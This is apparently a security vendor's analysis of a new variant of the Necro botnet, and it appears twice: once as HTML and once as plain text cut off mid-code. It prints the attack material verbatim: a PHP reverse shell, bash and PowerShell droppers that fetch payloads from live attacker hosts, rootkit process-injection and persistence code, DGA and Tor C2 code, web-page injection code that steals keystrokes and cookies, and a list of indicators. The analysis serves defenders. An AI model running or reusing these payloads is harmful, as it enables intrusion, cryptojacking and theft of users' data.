RaRdhjkniVY=(''.join(random.choice('abcdefghijklmnopqoasadihcouvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for _ in range(random.randrange(10,19)))).lower()
RaRdhjkniVY+="."+random.choice(['ddns.net','ddnsking.com','3utilities.com','bounceme.net','freedynamicdns.net','freedynamicdns.org','gotdns.ch','hopto.org','myddns.me','myftp.biz','myftp.org','myvnc.com','onthewifi.com','redirectme.net','servebeer.com','serveblog.net','servecounterstrike.com','serveftp.com','servegame.com','servehalflife.com','servehttp.com','serveirc.com','serveminecraft.net','servemp3.com','servepics.com','servequake.com','sytes.net','viewdns.net','webhop.me','zapto.org'])
print RaRdhjkniVY
</code></pre>
<p>Nine domains are live now, and from the resolution records some domains uses IPv6 addresses.</p>
<pre><code>2021-03-09 10:50:50 2021-03-12 16:10:45 ntxkg0la99w.zapto.org
2021-03-12 08:19:49 2021-03-12 08:19:49 xxdqj6xbjpkzhk7k.servemp3.com
2021-03-12 10:35:11 2021-03-12 10:35:11 qb7opowcawiagia.viewdns.net
2021-03-12 08:46:28 2021-03-12 08:46:28 v5jke3mv89fjvxgd.serveftp.com
2021-03-12 14:59:54 2021-03-12 14:59:54 nwpzhm8ziyhdzm.redirectme.net
2021-03-12 03:12:07 2021-03-12 03:12:07 m1afommgsdowkmegc.redirectme.net
2021-03-12 04:56:47 2021-03-12 04:56:47 ewmhkvdcoj3.servemp3.com
2021-03-12 08:38:17 2021-03-12 08:38:17 tfcxvcg0lkc9vpx.myftp.org
2021-03-12 06:48:19 2021-03-12 06:48:19 bdcauhuzk0d.viewdns.net
</code></pre>
<h3 id="jscodeembedding">JS code embedding</h3>
<p>The main purpose of Necro's JS code embedding is to inject mining code in victim’s web pages.</p>
<pre><code>elif CjoRjhoMj[3]==":" + self.cmdprefix + 'injectcount':
self.commSock.send('PRIVMSG %s :I have injected into %s files total\n' % (MZqyBxdoS, self.AkvElneS))
elif CjoRjhoMj[3]==":" + self.cmdprefix + 'reinject':
threading.Thread(target=self.OLkEqimhli).start()
self.commSock.send('PRIVMSG %s :Re-injecting all html and js files\n' % (MZqyBxdoS))
</code></pre>
<p>Necro will first traverse the <code>'*.js', '*.html', '*.htm', '*.php'</code> files in the specified directory of the infected device to find the target of injection.</p>
<pre><code>if os.name != "nt":
self.AkvElneS=0
for fkEoBpoAxpZc in [ele for ele in os.listdir("/") if ele not in ['proc', "bin", 'sbin', 'sbin', "dev", "lib", 'lib64', 'lost+found', "sys", 'boot', "etc"]]:
for hfHpWZSupopK in ['*.js', '*.html', '*.htm', '*.php']:
for oGADwYHVg in os.popen("find \"/" + fkEoBpoAxpZc + "\" -type f -name \"" + hfHpWZSupopK + "\"").read().split("\n"):
oGADwYHVg = oGADwYHVg.replace("\r", "").replace("\n", "")
if 'node' not in oGADwYHVg and 'lib' not in oGADwYHVg and "npm" not in oGADwYHVg and oGADwYHVg != "":
self.chLYewdc(oGADwYHVg)
</code></pre>
<p>Once the target is found, Necro inserts a piece of code into the file.</p>
<pre><code>MnPbIqasMz=open(oGADwYHVg,"rb")
mkkzygnopRnB=MnPbIqasMz.read()
MnPbIqasMz.close()
fPSqTAZGgcep = kdYaxMPRdP(8)
OGipqKBSmmTb = kdYaxMPRdP(8)
hgOlaeQcQza = b64encode("//" + self.injectCOxhTEJfB + '/campaign.js')
fwEiSidxlgH='(function(' + OGipqKBSmmTb + ", " + fPSqTAZGgcep + ") {" + fPSqTAZGgcep + " = " + OGipqKBSmmTb + ".createElement('script');" + fPSqTAZGgcep + ".type = 'text/javascript';" + fPSqTAZGgcep + '.async = true;' + fPSqTAZGgcep + ".src = atob('" + IoMfNcaVcJL + hgOlaeQcQza + IoMfNcaVcJL + "'.replace(/" + IoMfNcaVcJL + "/gi, '')) + '?' + String(Math.random()).replace('0.','');" + OGipqKBSmmTb + ".getElementsByTagName('body')[0].appendChild(" + fPSqTAZGgcep + ');}(document));'
...
else:
if oGADwYHVg.endswith(".js"):
if 'var ' in mkkzygnopRnB:
mkkzygnopRnB=self.kRChazSiN(mkkzygnopRnB, 'var ', fwEiSidxlgH + 'var ', 1)
self.AkvElneS+=1
wQARXUaaF = True
else:
if '</body' in mkkzygnopRnB:
mkkzygnopRnB=self.kRChazSiN(mkkzygnopRnB, '</body', '<script type=' + '"' + 'text/javascript' + '"' + ">" + fwEiSidxlgH + '</script></body', 1)
self.AkvElneS+=1
wQARXUaaF = True
if wQARXUaaF:
MnPbIqasMz=open(oGADwYHVg, "wb")
</code></pre>
<p>The infected page will have the following additional code.</p>
<pre><code>(function(v2, v1) {
v1 = v2.createElement('script');
v1.type = 'text/javascript';
v1.async = true;
v1.src = atob('UUIDLy91YmxvY2stcmVmZXJlci5kZXYvY2FtcGFpZ24uanM=UUID'.replace(/UUID/gi, '')) + '?' + String(Math.random()).replace('0.', '');
v2.getElementsByTagName('body')[0].appendChild(v1);
}(document));
</code></pre>
<p>This small piece of code will link to a script <code>hxxp[:]//ublock-referer.dev/campaign.js</code> . Through our WebInsight system we can see that 300+ websites have been infected by Necro in the last week.</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/03/webinsight.png" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><p>campaign.js is a highly obfuscated javascript code with a detection rate of 0 on VT.</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/03/campaign_js_vt_0detect-1.png" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><p>The code uses two layers of obfuscation, it has three main functions.</p>
<ul>
<li>Mining</li>
</ul>
<p>When an end user visits the victim’s website, the browser will load a mining js script: <code>hxxps[:]//cloud-miner.de/tkefrep/tkefrep.js?tkefrep=bs?nosaj=faster.xmr2</code></p>
<ul>
<li>User data stealing</li>
</ul>
<p>The code monitors 4 events <code>unload/beforeunload/popstate/pagehide</code> and then reports the data through the following two interfaces</p>
<table>
<thead>
<tr>
<th style="text-align:left">Interface</th>
<th style="text-align:left">Functions</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align:left">/l.php</td>
<td style="text-align:left">upload keyboad records</td>
</tr>
<tr>
<td style="text-align:left">/f.php</td>
<td style="text-align:left">upload form data</td>
</tr>
</tbody>
</table>
<ul>
<li>Execute instruction</li>
</ul>
<p>When end users access victim’s website, the malicious js will be loaded, and <code>ublock-referer.dev/api.ph</code> will be called to perform various functions and send back some of the users’ data, a brief breakdown of the functions</p>
<table>
<thead>
<tr>
<th style="text-align:left">Command</th>
<th style="text-align:left">Functions</th>
<th style="text-align:center">Interface</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align:left">cookie</td>
<td style="text-align:left">To send back cookie</td>
<td style="text-align:center">/c.php</td>
</tr>
<tr>
<td style="text-align:left">clipboard</td>
<td style="text-align:left">To send back clipboard content</td>
<td style="text-align:center">/cb.php</td>
</tr>
<tr>
<td style="text-align:left">view</td>
<td style="text-align:left">Calling iframe to load any url</td>
<td style="text-align:center"></td>
</tr>
<tr>
<td style="text-align:left">post</td>
<td style="text-align:left">Send POST request to target</td>
<td style="text-align:center"></td>
</tr>
<tr>
<td style="text-align:left">floodpost</td>
<td style="text-align:left">DDos a target with periodical POST requests</td>
<td style="text-align:center"></td>
</tr>
<tr>
<td style="text-align:left">load</td>
<td style="text-align:left">Periodically adding Image objects and requesting links to specified resources to DDos a target</td>
<td style="text-align:center"></td>
</tr>
<tr>
<td style="text-align:left">antiddos</td>
<td style="text-align:left">By adding iframes periodically and adding random strings of numbers after the target link to DDos target</td>
<td style="text-align:center"></td>
</tr>
<tr>
<td style="text-align:left">layer4</td>
<td style="text-align:left">Periodically sending POST requests of random content of specified length range to the target (DDoS)</td>
<td style="text-align:center"></td>
</tr>
<tr>
<td style="text-align:left">jack</td>
<td style="text-align:left">Load the specified content by creating iframe, can be used to fake or hijack webpage</td>
<td style="text-align:center"></td>
</tr>
<tr>
<td style="text-align:left">eval</td>
<td style="text-align:left">Execute arbitrary code via the eval method</td>
<td style="text-align:center"></td>
</tr>
<tr>
<td style="text-align:left">md5/sha1</td>
<td style="text-align:left">Perform collision attacks against MD5 with the specified length range and code table, and report back when it succeeds</td>
<td style="text-align:center">/h.php</td>
</tr>
</tbody>
</table>
<p>The corresponding C2 is still <code>hxxp[:]//ublock-referer.dev/</code>, switching between http/https according to the protocol of the compromised site</p>
<pre><code>master = window["location"]["protocol"] + "//ublock-referer.dev";
APIKey = "callbackScript";
</code></pre>
<p>The URL <code>hxxps[:]//ublock-referer.dev</code> is also used to download the malicious FireFox plug-in <code>ublock_referer-1.0.0-an+fx.xpi</code>, the plug-in uses the above mentioned Javascript Bot <a href="https://github.com/Antonio24/Cloud9/blob/master/campaign.js">Cloud9</a>.</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/03/malware_firefox_addone-1.PNG" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><h3 id="codeobfuscationalgorithm">Code obfuscation algorithm</h3>
<p>This new version of Necro abandoned the original simple variable name replacement algorithm, and implemented a code morphing algorithm based on the abstract syntax tree <a href="https://docs.python.org/3/library/ast.html">AST</a>, which achieves full complete randomization of object names and higher code coverage of obfuscation, with the result that the new version of Necro sample VT detection rate of 0.</p>
<pre><code>dDojPSRD=open(ULTiBINyz,"rb")
...
p = ast.parse(CFiLMBZFoL)
MiaFfQWZhb().visit(p)
for caSZxzOdnbhJ in sorted(mdSaCUFhqM, key=len, reverse=True):
...
EqDdlmuEhx = [node.name for node in ast.walk(p) if isinstance(node, ast.ClassDef)]
joPNpGTbcn = sorted({node.id for node in ast.walk(p) if isinstance(node, ast.Name) and not isinstance(node.ctx, ast.Load)})
for mFVUeqoHs in [n for n in p.body if isinstance(n, ast.FunctionDef)]:
aPpaAZnhc.append(mFVUeqoHs.name)
EqDdlmuEhx = [node for node in ast.walk(p) if isinstance(node, ast.ClassDef)]
for ubhohFYJDo in EqDdlmuEhx:
for mFVUeqoHs in [n for n in ubhohFYJDo.body if isinstance(n, ast.FunctionDef)]:
if mFVUeqoHs.name != '__init__' and mFVUeqoHs not in aPpaAZnhc:
aPpaAZnhc.append(mFVUeqoHs.name)
...
hkaxeZCocag=open(ULTiBINyz,"wb")
</code></pre>
<h2 id="summary">Summary</h2>
<p>Since Necro was discovered, we have been continuously following and tracking this botnet, and associated it with the KekSec group behind it, and discovered more of their activities to attack Linux devices. We will continue to keep an eye on Necro, and will disclose any new findings.</p>
<h2 id="ioc">IOC</h2>
<ul>
<li>Tor C2</li>
</ul>
<pre><code>faw623ska5evipvarobhpzu4ntoru5v6ia5444krr6deerdnvpa3p7ad.onion
</code></pre>
<ul>
<li>Download URL</li>
</ul>
<pre><code>http://ntxkg0la99w.zapto.org/setup.py
http://kek.gay/benchmark.py
http://kek.gay/x86.dll
http://kek.gay/x64.dll
http://kek.gay/xmrig1.py
http://kek.gay/xmrig1
http://kek.gay/py.exe
</code></pre>
<ul>
<li>JS Miner/Bot Related</li>
</ul>
<pre><code>https://cloud-miner.de/*
https://ublock-referer.dev/*
</code></pre>
<ul>
<li>Tor Proxy</li>
</ul>
<pre><code>77.238.128.166:9050
192.248.190.123:8017
192.248.190.123:8009
213.251.238.186:9050
178.62.242.15:9107
88.198.82.11:9051
52.3.115.71:9050
83.217.28.46:9050
147.135.208.44:9095
188.166.34.137:9000
103.233.206.22:179
161.97.71.22:9000
54.161.239.214:9050
194.5.178.150:666
144.91.74.241:9080
134.209.230.13:8080
201.40.122.152:9050
206.81.27.29:8080
127.0.0.1:9050
</code></pre>
<h2 id="contactus">Contact us</h2>
<p>Readers are always welcomed to reach us on twitter, or email to netlabat 360dot cn</p>
<!--kg-card-end: markdown--> | Overview
Back in January, we blogged about a new botnet Necro and shortly after our report, it stopped spreading. On March 2nd, we noticed a new variant of Necro showing up on our BotMon tracking radar March 2nd, the BotMon system has detected that Necro has started spreading again, in addition to the previous TerraMaster RCE (CVE_2020_35665) and Zend RCE (CVE-2021-3007), two newer vulnerabilities Laravel RCE (CVE-2021-3129) and WebLogic RCE ( CVE-2020-14882) have been added, the following graphic shows the trend.
We found that after a month of silence the new version of Necro has been significantly changed and further enhanced, the following is a summary:
1. Start to attack Windws system and use Rootkit to hide itself on Windows platform.
2. "subdomain DGA + dynamic domain name" are being used to generate C2 domains
3. C2 communication support Tor, and a Tor-based DDoS attacks has been added.
4. It propagates Gafgyt_tor against specific Linux targets.
5. It tampers with the web service page on the victim machine to perform browser mining, as well as stealing user data, turning the user's browser into DDos bot, and hash cracking.
We mentioned earlier this month that Gafgyt_tor and Necro are released by same group, the so-called Keksec, the functions of this new Nerco is shown below
It is worth noting that we have seen two samples of the new version, one uses Tor for C2 and one generates C2 by using "subdomain DGA + dynamic domain.
Sample Analysis
Scanning and propagation
* Laravel RCE (CVE-2021-3129)
The exploit of this vulnerability uses a reverse shell to first download a bash script, as shown in the following figure.
ZCgAMCXTa='php -r \'$sock=fsockopen("'+self.YxqCRypO+'",9999);$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);\''
ZCgAMCXTa=ZCgAMCXTa.replace('/', '\/')
The downloaded bash script functions as follows.
1. Download and execute another script malware.sh.
2. Download and execute Gafgyt_tor.
3. Download and execute the mining program.
Here is a bash script we captured.
wget http://kek.gay/malware.sh -O malware.sh
sh malware.sh
rm -f malware.sh
cd /tmp || cd /home/$USER || cd /var/run || cd $(busybox find / -writable -readable -executable | head -n 1) || cd /mnt || cd / ;
wget http://45.145.185.83/S1eJ3/IObeENwjx64 -O IObeENwjx64; busybox wget http://45.145.185.83/S1eJ3/IObeENwjx64 -O IObeENwjx64; curl http://45.145.185.83/S1eJ3/IObeENwjx64 -O IObeENwjx64; busybox curl http://45.145.185.83/S1eJ3/IObeENwjx64 -O IObeENwjx64; ftpget -v -u anonymous -p anonymous -P 21 45.145.185.83 IObeENwjx64 IObeENwjx64; busybox ftpget -v -u anonymous -p anonymous -P 21 45.145.185.83 IObeENwjx64 IObeENwjx64; chmod 777 IObeENwjx64; ./IObeENwjx64; rm -f IObeENwjx64
...
export ARGS="-o 45.145.185.83:9050"
export LINE="[ ! -f /tmp/.apid ] && echo > /tmp/.apid;./.1/sshd $ARGS >> /dev/null;./.2/sshd $ARGS >> /dev/null &"
echo "$LINE" > ./.backup.sh
curl http://45.145.185.83/xmrig1 -O
wget http://45.145.185.83/xmrig1 -O xmrig1
mkdir ./.1;mv -f xmrig1 ./.1/sshd
...
chmod +x ./.backup.sh;
sh ./.backup.sh &
exit
One of the malware.sh scripts is used to download and execute a new version of Necro, as shown below.
#pkill -9 python
wget http://45.144.225.96/benchmark.py -O benchmark.py
python benchmark.py || python2 benchmark.py || python2.7 benchmark.py || /usr/bin/python benchmark.py || /usr/bin/ python2 benchmark.py || /usr/bin/ python2.7 benchmark.py
* WebLogic RCE (CVE-2020-14882)
The vulnerability has two exploits, one for Linux and one for Windows.
The exploit for Linux uses bash, which downloads and executes both Necro (setup.py) and the mining program.
cd /tmp||cd $(find / -writable -readable -executable | head -n 1);php -r "file_put_contents(\\".setup\\", file_get_contents(\\"http://DOMAIN/setup\\"));";curl http://DOMAIN/setup -O;wget http://DOMAIN/setup -O .setup;chmod 777 .setup;./.setup;php -r "file_put_contents(\\".setup.py\\", file_get_contents(\\"http://DOMAIN/setup.py\\"));";curl http://DOMAIN/setup.py -O;wget http://DOMAIN/setup.py -O .setup.py;chmod 777 .setup.py;./.setup||python2 .setup.py||python .setup.py||./setup.py;DIR=`pwd`;ARGS="-o DOMAIN:9050";LINE="[ ! -f $DIR/.pidfile ] && echo > $DIR/.pidfile;$DIR/.1/sshd $ARGS||$DIR/.2/sshd $ARGS >> /dev/null||./sshd $ARGS >> /dev/null &";cd $DIR;echo "$LINE" > $DIR/.backup.sh;curl http://DOMAIN/xmrig1 -O||wget http://DOMAIN/xmrig1 -O xmrig1;mkdir $DIR/.1;mv -f xmrig1 $DIR/.1/sshd;chmod 777 $DIR/.1/sshd;curl http://DOMAIN/xmrig -O||wget http://DOMAIN/xmrig -O xmrig;mkdir $DIR/.2;mv -f xmrig $DIR/.2/sshd;chmod 777 $DIR/.2/sshd;chmod +x $DIR/.backup.sh;$DIR/.backup.sh
The Windows exploit uses Powershell, which first downloads the packaged Pyhton 2.7 executable (py.exe), then downloads and executes Necro (setup.py).
"@powershell -NoProfile -ExecutionPolicy unrestricted -Command \"(New-Object System.Net.WebClient).DownloadFile('http://DOMAIN/py.exe', 'python.exe'); (New-Object System.Net.WebClient).DownloadFile('http://DOMAIN/setup.py', 'setup.py');\" & .\python.exe setup.py
Attack Windows system
From the above analysis, we can see that some WebLogic servers are running on Windows OS, and the KekSec group is obviously interested in these hosts as well. After the sample is started, if the underlying operating system is detected as Windows then py.exe will be copied to USERPROFILE\\$6829.exe, the code is shown in the following figure.
if os.name == 'nt':
try:
sys.argv[1]
except IndexError:
subprocess.Popen(GetCommandLine() + " 1", creationflags=8, close_fds=True)
os.kill(os.getpid(),9)
ehVfvaRFGMNE = CreateMutex(None, False, ehVfvaRFGMNE)
if GetLastError() == ERROR_ALREADY_EXISTS:
os.kill(os.getpid(),9)
if os.path.abspath(sys.argv[0]).lower().endswith('.exe') and not os.path.abspath(sys.argv[0]).lower().endswith('$6829.exe'):
try:
shutil.copyfile(os.path.abspath(sys.argv[0]), os.getenv('USERPROFILE') + '\\$6829.exe')
os.startfile(os.getenv('USERPROFILE') + '\\$6829.exe')
os.kill(os.getpid(),9)
except:
pass
else:
Necro will then download a file named x86.dll or x64.dll depending on the platform of choice:.
try:
shutil.copyfile(sys.executable, os.getenv('USERPROFILE') + '\\$6829.exe')
except:
pass
try:
if platform.architecture()[0].replace("bit","") == "32":
eZazkoBSoXlO=ahFxoRRhxXE(urllib2.urlopen('http://' + RaRdhjkniVY + '/x86.dll').read())
else:
eZazkoBSoXlO=ahFxoRRhxXE(urllib2.urlopen('http://' + RaRdhjkniVY + '/x64.dll').read())
threading.Thread(target=oFHPQFcppV, args=(eZazkoBSoXlO,)).start()
except:
pass
This dll file corresponds to an open source Rootkit project r77-rootkit, which according to the project description can fully hide specific processes:.
r77 is a ring 3 Rootkit that hides following entities from all processes:
Files, directories, named pipes, scheduled tasks
Processes
CPU usage
Registry keys & values
TCP & UDP connections
It is compatible with Windows 7 and Windows 10 in both x64 and x86 editions.
Necro will then load the rootkit using a piece of shellcode using process injection from another open source project, sRDI, which uses the following shellcode.
# pack rootkit and shellcode
...
gwObVdGd += struct.pack('b', ObianOdA - len(gwObVdGd) - 4)
gwObVdGd += b'\x00\x00\x00'
gwObVdGd += b'\x48\x89\xf4'
gwObVdGd += b'\x5e'
gwObVdGd += b'\xc3'
if len(gwObVdGd) != ObianOdA:
raise Exception('x64 bootstrap length: {} != bootstrapSize: {}'.format(len(gwObVdGd), ObianOdA))
return gwObVdGd + dXQHuOmhsG + FVgoLCUS + fzWaJzyWo
else:
...
gwObVdGd += struct.pack('b', ObianOdA - len(gwObVdGd) - 4) # Skip over the remainder of instructions
gwObVdGd += b'\x00\x00\x00'
gwObVdGd += b'\x83\xc4\x14'
gwObVdGd += b'\xc9'
gwObVdGd += b'\xc3'
if len(gwObVdGd) != ObianOdA:
raise Exception('x86 bootstrap length: {} != bootstrapSize: {}'.format(len(gwObVdGd), ObianOdA))
return gwObVdGd + dXQHuOmhsG + FVgoLCUS + fzWaJzyW
# inject process
FfyiMaCpdR = windll.kernel32.OpenProcess(0x1F0FFF, False, UjyuiVGyhiD)
if not FfyiMaCpdR:
cJaQhosf -= 1
return
llvOMLUBC = windll.kernel32.VirtualAllocEx(FfyiMaCpdR, 0, len(eZazkoBSoXlO), 0x00001000, 0x40)
windll.kernel32.WriteProcessMemory(FfyiMaCpdR, llvOMLUBC, eZazkoBSoXlO, len(eZazkoBSoXlO), 0)
if not windll.kernel32.CreateRemoteThread(FfyiMaCpdR, None, 0, llvOMLUBC, 0, 0, 0):
Finally, Necro will register the bootstrap item to SOFTWARE\Microsoft\Windows\CurrentVersion\Run:
if os.name == 'nt':
try:
aReg = ConnectRegistry(None,HKEY_CURRENT_USER)
aKey = OpenKey(aReg, r"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", 0, KEY_WRITE)
SetValueEx(aKey,'System explore',0, REG_SZ, os.getenv('USERPROFILE') + '\\$6829.exe ' + os.path.r)
windll.kernel32.SetFileAttributesW(os.getenv('USERPROFILE') + '\\$6829.exe', FILE_ATTRIBUTE_HIDDEN)
except:
pass
Using Tor communication
Since we have seen the KekSec group using Tor to hide the real C2 in Gafgyt_tor, we are not surprised that the new version of Necro supports Tor. What surprised us is that Necro actually integrates a Tor proxy-based DDoS attack method.
The Tor C2 communication code is as follows, and you can see the IPs and ports of multiple Tor proxies integrated in it.
try:
import socks
except:
f=open('socks.py', "w")
f.write(urllib2.urlopen('https://raw.githubusercontent.com/mikedougherty/SocksiPy/master/socks.py').read())
f.close()
try:
import socks
except:
exit(1)
try:
os.remove('socks.py')
os.remove('socks.pyc')
except:
pass
server_list = ['192.248.190.123:8017', '192.248.190.123:8001', '88.198.82.11:9051', '52.3.115.71:9050', '185.117.154.207:443', '199.19.224.116:9050', '188.166.34.137:9000', '161.97.71.22:9000', '54.161.239.214:9050', '144.91.74.241:9080', '201.40.122.152:9050', '194.5.178.150:666', '83.217.28.46:9050', '8.210.163.246:60001', '35.192.111.58:9221', '127.0.0.1:9050']
...
self.onionserver='faw623ska5evipvarobhpzu4ntoru5v6ia5444krr6deerdnvpa3p7ad.onion'
self.AJEwioE='#freakyonionz'
self.Ajiowfe='FUCKWHITEHATZ'
...
The code of the newly added DDoS attack method torflood is as follows.
elif CjoRjhoMj[3]==":" + self.cmdprefix + 'torflood':
try:
import socks
except:
...
self.commSock.send('PRIVMSG %s :Unable to initilize socks module.\n' % (MZqyBxdoS))
for i in range(0, int(CjoRjhoMj[7])):
threading.Thread(target=self.XoReERalPae,args=(CjoRjhoMj[4],CjoRjhoMj[5],int(CjoRjhoMj[6]),)).start()
self.commSock.send('PRIVMSG %s :Started Tor HTTP flood on URL: %s with %s threads\n' % (MZqyBxdoS,CjoRjhoMj[4],CjoRjhoMj[7]))
Sub-domain DGA + dynamic domain name
The new version of Necro updated the DGA mechanism, using DGA to generate subdomains, and then with dynamic domain names to generate the final C2 domain name. From the code we can see the there are 30 dynamic domain name services providers.
zMuBHdcdB=0
while zMuBHdcdB < 0xcc:
zMuBHdcdB+=1
random.seed(a=0x7774DEAD + zMuBHdcdB)
RaRdhjkniVY=(''.join(random.choice('abcdefghijklmnopqoasadihcouvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for _ in range(random.randrange(10,19)))).lower()
RaRdhjkniVY+="."+random.choice(['ddns.net','ddnsking.com','3utilities.com','bounceme.net','freedynamicdns.net','freedynamicdns.org','gotdns.ch','hopto.org','myddns.me','myftp.biz','myftp.org','myvnc.com','onthewifi.com','redirectme.net','servebeer.com','serveblog.net','servecounterstrike.com','serveftp.com','servegame.com','servehalflife.com','servehttp.com','serveirc.com','serveminecraft.net','servemp3.com','servepics.com','servequake.com','sytes.net','viewdns.net','webhop.me','zapto.org'])
print RaRdhjkniVY
Nine domains are live now, and from the resolution records some domains uses IPv6 addresses.
2021-03-09 10:50:50 2021-03-12 16:10:45 ntxkg0la99w.zapto.org
2021-03-12 08:19:49 2021-03-12 08:19:49 xxdqj6xbjpkzhk7k.servemp3.com
2021-03-12 10:35:11 2021-03-12 10:35:11 qb7opowcawiagia.viewdns.net
2021-03-12 08:46:28 2021-03-12 08:46:28 v5jke3mv89fjvxgd.serveftp.com
2021-03-12 14:59:54 2021-03-12 14:59:54 nwpzhm8ziyhdzm.redirectme.net
2021-03-12 03:12:07 2021-03-12 03:12:07 m1afommgsdowkmegc.redirectme.net
2021-03-12 04:56:47 2021-03-12 04:56:47 ewmhkvdcoj3.servemp3.com
2021-03-12 08:38:17 2021-03-12 08:38:17 tfcxvcg0lkc9vpx.myftp.org
2021-03-12 06:48:19 2021-03-12 06:48:19 bdcauhuzk0d.viewdns.net
JS code embedding
The main purpose of Necro's JS code embedding is to inject mining code in victim’s web pages.
elif CjoRjhoMj[3]==":" + self.cmdprefix + 'injectcount':
self.commSock.send('PRIVMSG %s :I have injected into %s files total\n' % (MZqyBxdoS, self.AkvElneS))
elif CjoRjhoMj[3]==":" + self.cmdprefix + 'reinject':
threading.Thread(target=self.OLkEqimhli).start()
self.commSock.send('PRIVMSG %s :Re-injecting all html and js files\n' % (MZqyBxdoS))
Necro will first traverse the '*.js', '*.html', '*.htm', '*.php' files in the specified directory of the infected device to find the target of injection.
if os.name != "nt":
self.AkvElneS=0
for fkEoBpoAxpZc in [ele for ele in os.listdir("/") if ele not in ['proc', "bin", 'sbin', 'sbin', "dev", "lib", 'lib64', 'lost+found', "sys", 'boot', "etc"]]:
for hfHpWZSupopK in ['*.js', '*.html', '*.htm', '*.php']:
for oGADwYHVg in os.popen("find \"/" + fkEoBpoAxpZc + "\" -type f -name \"" + hfHpWZSupopK + "\"").read().split("\n"):
oGADwYHVg = oGADwYHVg.replace("\r", "").replace("\n", "")
if 'node' not in oGADwYHVg and 'lib' not in oGADwYHVg and "npm" not in oGADwYHVg and oGADwYHVg != "":
self.chLYewdc(oGADwYHVg)
Once the target is found, Necro inserts a piece of code into the file.
MnPbIqasMz=open(oGADwYHVg,"rb")
mkkzygnopRnB=MnPbIqasMz.read()
MnPbIqasMz.close()
fPSqTAZGgcep = kdYaxMPRdP(8)
OGipqKBSmmTb = kdYaxMPRdP(8)
hgOlaeQcQza = b64encode("//" + self.injectCOxhTEJfB + '/campaign.js')
fwEiSidxlgH='(function(' + OGipqKBSmmTb + ", " + fPSqTAZGgcep + ") {" + fPSqTAZGgcep + " = " + OGipqKBSmmTb + ".createElement('script');" + fPSqTAZGgcep + ".type = 'text/javascript';" + fPSqTAZGgcep + '.async = true;' + fPSqTAZGgcep + ".src = atob('" + IoMfNcaVcJL + hgOlaeQcQza + IoMfNcaVcJL + "'.replace(/" + IoMfNcaVcJL + "/gi, '')) + '?' + String(Math.random()).replace('0.','');" + OGipqKBSmmTb + ".getElementsByTagName('body')[0].appendChild(" + fPSqTAZGgcep + ');}(document));'
...
else:
if oGADwYHVg.endswith(".js"):
if 'var ' in mkkzygnopRnB:
mkkzygnopRnB=self.kRChazSiN(mkkzygnopRnB, 'var ', fwEiSidxlgH + 'var ', 1)
self.AkvElneS+=1
wQARXUaaF = True
else:
if '</body' in mkkzygnopRnB:
mkkzygnopRnB=self.kRChazSiN(mkkzygnopRnB, '</body', '<script type=' + '"' + 'text/javascript' + '"' + ">" + fwEiSidxlgH + '</script></body', 1)
self.AkvElneS+=1
wQARXUaaF = True
if wQARXUaaF:
MnPbIqasMz=open(oGADwYHVg, "wb")
The infected page will have the following additional code.
(function(v2, v1) {
v1 = v2.createElement('script');
v1.type = 'text/javascript';
v1.async = true;
v1.src = atob('UUIDLy91YmxvY2stcmVmZXJlci5kZXYvY2FtcGFpZ24uanM=UUID'.replace(/UUID/gi, '')) + '?' + String(Math.random()).replace('0.', '');
v2.getElementsByTagName('body')[0].appendChild(v1);
}(document));
This small piece of code will link to a script hxxp[:]//ublock-referer.dev/campaign.js . Through our WebInsight system we can see that 300+ websites have been infected by Necro in the last week.
campaign.js is a highly obfuscated javascript code with a detection rate of 0 on VT.
The code uses two layers of obfuscation, it has three main functions.
* Mining
When an end user visits the victim’s website, the browser will load a mining js script: hxxps[:]//cloud-miner.de/tkefrep/tkefrep.js?tkefrep=bs?nosaj=faster.xmr2
* User data stealing
The code monitors 4 events unload/beforeunload/popstate/pagehide and then reports the data through the following two interfaces
Interface
Functions
/l.php
upload keyboad records
/f.php
upload form data
* Execute instruction
When end users access victim’s website, the malicious js will be loaded, and ublock-referer.dev/api.ph will be called to perform various functions and send back some of the users’ data, a brief breakdown of the functions
Command
Functions
Interface
cookie
To send back cookie
/c.php
clipboard
To send back clipboard content
/cb.php
view
Calling iframe to load any url
post
Send POST request to target
floodpost
DDos a target with periodical POST requests
load
Periodically adding Image objects and requesting links to specified resources to DDos a target
antiddos
By adding iframes periodically and adding random strings of numbers after the target link to DDos target
layer4
Periodically sending POST requests of random content of specified length range to the target (DDoS)
jack
Load the specified content by creating iframe, can be used to fake or hijack webpage
eval
Execute arbitrary code via the eval method
md5/sha1
Perform collision attacks against MD5 with the specified length range and code table, and report back when it succeeds
/h.php
The corresponding C2 is still hxxp[:]//ublock-referer.dev/, switching between http/https according to the protocol of the compromised site
master = window["location"]["protocol"] + "//ublock-referer.dev";
APIKey = "callbackScript";
The URL hxxps[:]//ublock-referer.dev is also used to download the malicious FireFox plug-in ublock_referer-1.0.0-an+fx.xpi, the plug-in uses the above mentioned Javascript Bot Cloud9.
Code obfuscation algorithm
This new version of Necro abandoned the original simple variable name replacement algorithm, and implemented a code morphing algorithm based on the abstract syntax tree AST, which achieves full complete randomization of object names and higher code coverage of obfuscation, with the result that the new version of Necro sample VT detection rate of 0.
dDojPSRD=open(ULTiBINyz,"rb")
...
p = ast.parse(CFiLMBZFoL)
MiaFfQWZhb().visit(p)
for caSZxzOdnbhJ in sorted(mdSaCUFhqM, key=len, reverse=True):
...
EqDdlmuEhx = [node.name for node in ast.walk(p) if isinstance(node, ast.ClassDef)]
joPNpGTbcn = sorted({node.id for node in ast.walk(p) if isinstance(node, ast.Name) and not isinstance(node.ctx, ast.Load)})
for mFVUeqoHs in [n for n in p.body if isinstance(n, ast.FunctionDef)]:
aPpaAZnhc.append(mFVUeqoHs.name)
EqDdlmuEhx = [node for node in ast.walk(p) if isinstance(node, ast.ClassDef)]
